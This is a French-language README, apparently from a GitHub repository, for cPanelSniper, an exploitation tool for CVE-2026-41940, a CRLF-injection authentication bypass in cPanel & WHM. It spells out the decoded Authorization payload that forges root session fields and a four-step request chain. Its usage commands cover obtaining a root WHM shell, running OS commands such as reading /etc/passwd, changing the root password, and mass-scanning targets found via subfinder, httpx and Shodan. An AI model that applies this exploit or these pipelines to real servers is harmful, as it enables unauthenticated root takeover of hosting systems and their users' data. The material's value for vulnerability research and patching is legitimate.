
CVE-2026-41940 — Contournement de l'authentification cPanel & WHM via injection CRLF dans les fichiers de session
CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session
Chaîne d'exploitation en 4 étapes · Shell WHM interactif · Scanner de masse · Prêt pour pipelines · stdlib uniquement
cPanelSniper est un framework d'exploitation ciblé pour CVE-2026-41940, une vulnérabilité critique de contournement d'authentification affectant cPanel & WHM. La vulnérabilité permet à des attaquants distants non authentifiés d'obtenir un accès WHM de niveau root en injectant des séquences CRLF dans le fichier de session via l'en-tête HTTP Authorization — sans aucune identifiant valide.
Uniquement pour les tests d'intrusion autorisés et les programmes de bug bounty.
La cause racine se trouve dans Session.pm : la fonction saveSession() appelle filter_sessiondata() après avoir écrit le fichier de session sur le disque. Cela signifie que les caractères CRLF intégrés dans la valeur de l'en-tête Authorization: Basic sont écrits tels quels dans le fichier de session, injectant des champs contrôlés par l'attaquant avant que l'assainissement n'ait lieu.
Flux normal :
POST /login/ → filter_sessiondata() → écriture session → vérification auth
Flux vulnérable :
POST /login/ → écriture session (payload CRLF injecté) → filter_sessiondata() → la vérification auth lit le fichier empoisonné
La valeur Authorization: Basic se décode en :
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Ces champs sont écrits directement dans le fichier de session sur le disque. Lorsqu'ils sont relus, cPanel traite la session comme une session root entièrement authentifiée.
┌─────────────────────────────────────────────────────────────┐
│ Étape 0 — Découverte du nom d'hôte canonique │
│ GET /openid_connect/cpanelid → 307 → nom d'hôte réel │
├─────────────────────────────────────────────────────────────┤
│ Étape 1 — Création d'une session pré-authentifiée │
│ POST /login/?login_only=1 (mauvais identifiants) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Étape 2 — Injection CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd écrit les champs CRLF dans le fichier de session │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Étape 3 — Propagation (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Déclenche le flush raw→cache — les champs injectés deviennent actifs │
│ ← 401 Token refusé (attendu) │
├─────────────────────────────────────────────────────────────┤
│ Étape 4 — Vérification de l'accès root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
Aucune installation pip requise. stdlib Python 3.8+ pur uniquement.
# Cible unique — analyse uniquement
python3 cPanelSniper.py -u https://target.com:2087
# Cible unique — shell interactif après contournement
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Analyse de masse depuis un fichier
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Analyse forcée (ignorer la détection cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
# Lister tous les comptes cPanel sur le serveur
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Exécuter une commande OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obtenir les informations du serveur (nom d'hôte, charge, disque, hôte MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obtenir la version de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Changer le mot de passe root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interactif
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# Depuis une liste de périmètre
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Résultats Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# Pipe stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# Sources multiples combinées
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
Après un contournement réussi, le drapeau --action shell ouvre une invite interactive :
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version : CVE-2026-41940 | Auth : contournement CRLF
Tapez 'help' pour les commandes, 'exit' pour quitter
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)